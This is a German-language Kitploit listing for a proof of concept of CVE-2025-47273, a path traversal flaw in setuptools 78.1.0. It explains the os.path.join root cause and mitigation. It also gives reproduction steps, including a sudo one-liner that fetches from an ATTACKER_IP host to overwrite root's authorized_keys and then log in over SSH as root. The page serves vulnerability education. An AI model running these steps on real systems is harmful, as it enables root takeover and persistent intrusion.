Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 ist eine Pfad-Traversal-Schwachstelle mit hohem Schweregrad in der Bibliothek setuptools, insbesondere in Version 78.1.0. | Kitploit
Tools/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
Privilege EscalationSchwachstellenanalyseCode-AnalyseExploitationLieferkettensicherheitLernen & Bildung
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 ist eine Pfad-Traversal-Schwachstelle mit hohem Schweregrad in der Bibliothek setuptools, insbesondere in Version 78.1.0.

Repository anzeigen
110vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-47273: setuptools Version 78.1.0 - Path Traversal in setuptools.package_index

Haftungsausschluss

Dieser Proof of Concept (PoC) dient ausschließlich Bildungszwecken und autorisierten Sicherheitsaudits. Der Autor übernimmt keine Verantwortung für Missbrauch dieser Informationen. Unautorisierter Zugriff auf Computersysteme ist illegal und unethisch.


Schwachstellenanalyse

CVE-2025-47273 ist eine Path-Traversal-Schwachstelle im Modul package_index der Bibliothek setuptools (v78.1.0 und früher). Die Schwachstelle ermöglicht es einem Angreifer, beliebige Dateien zu schreiben, indem er eine speziell gestaltete URL an die Methode PackageIndex.download() übergibt.

Die Grundursache: das Verhalten von os.path.join()

Die Schwachstelle beruht auf einer häufigen Fehlerquelle in Pythons Funktion os.path.join(). Laut der Python-Dokumentation:

Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Verbinden wird ab der absoluten Pfadkomponente fortgesetzt.

In der verwundbaren Version von setuptools wird der Ziel-Dateiname bestimmt, indem ein Name aus der URL extrahiert und mit einem temporären Verzeichnis verbunden wird:

# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

Wenn ein Angreifer eine URL bereitstellt, bei der der Dateinamenteil (nach der URL-Dekodierung) mit einem Schrägstrich / beginnt, verwirft os.path.join das Präfix tmpdir und gibt den in der URL angegebenen absoluten Pfad zurück.

Ablaufdiagramm der Schwachstelle

[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

Technische Auswirkungen

Da der Zielpfad zu einem absoluten Pfad manipuliert werden kann, kann ein Angreifer beliebige Inhalte an beliebige Stellen im Dateisystem schreiben, an denen der Prozess Schreibrechte besitzt.

Szenarien mit hoher Auswirkung:

  1. Privilegieneskalation: Wenn der Prozess, der setuptools verwendet, mit erhöhten Rechten läuft (z. B. ein systemweiter Installer), kann ein Angreifer kritische Systemdateien wie /etc/passwd, /root/.ssh/authorized_keys oder /etc/shadow und viele weitere Möglichkeiten überschreiben...
  2. Persistenz / RCE: Das Überschreiben von Benutzerkonfigurationsdateien wie ~/.bashrc, ~/.ssh/authorized_keys oder das Injizieren von Code in vorhandene Python-Bibliotheken kann zu persistenter Remote Code Execution führen.

Reproduktion (Überschreiben von /root/.ssh/authorized_keys )

Umgebungseinrichtung

Die Schwachstelle ist in Version 78.1.0 von setuptools vorhanden.

pip install setuptools==78.1.0

1. SSH-Schlüsselpaare im poc-Verzeichnis erzeugen

ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. Den bösartigen Server starten (Angreifer-Maschine)

Das Skript server.py fungiert als bösartiger Paketindex. Es liefert unabhängig vom angeforderten Pfad eine Payload-Datei aus; die Datei, die wir ausliefern, ist id_rsa.pub.

python3 server.py 80

2. Den Exploit ausführen (Zielmaschine)

Lösen Sie das Dateischreiben mit diesem Befehl aus; danach können Sie sich mit Ihrem zuvor erstellten SSH-Schlüsselpaar als root per SSH anmelden.

sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. Anschließend per SSH als root mit dem in Schritt 1 erstellten privaten Schlüssel auf der Zielmaschine anmelden

ssh -i id_rsa root@<target-ip>

Gegenmaßnahmen

Die Schwachstelle wurde in setuptools Version 78.1.1 behoben. Der Fix besteht darin, die aus der URL abgeleitete Variable name strikt zu bereinigen, um sicherzustellen, dass sie keine führenden Schrägstriche oder Laufwerksbuchstaben enthält, bevor sie an os.path.join() übergeben wird.

Um Ihre Umgebung abzusichern:

pip install --upgrade setuptools

Referenzen

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr-Bounty-Bericht
Tool herunterladen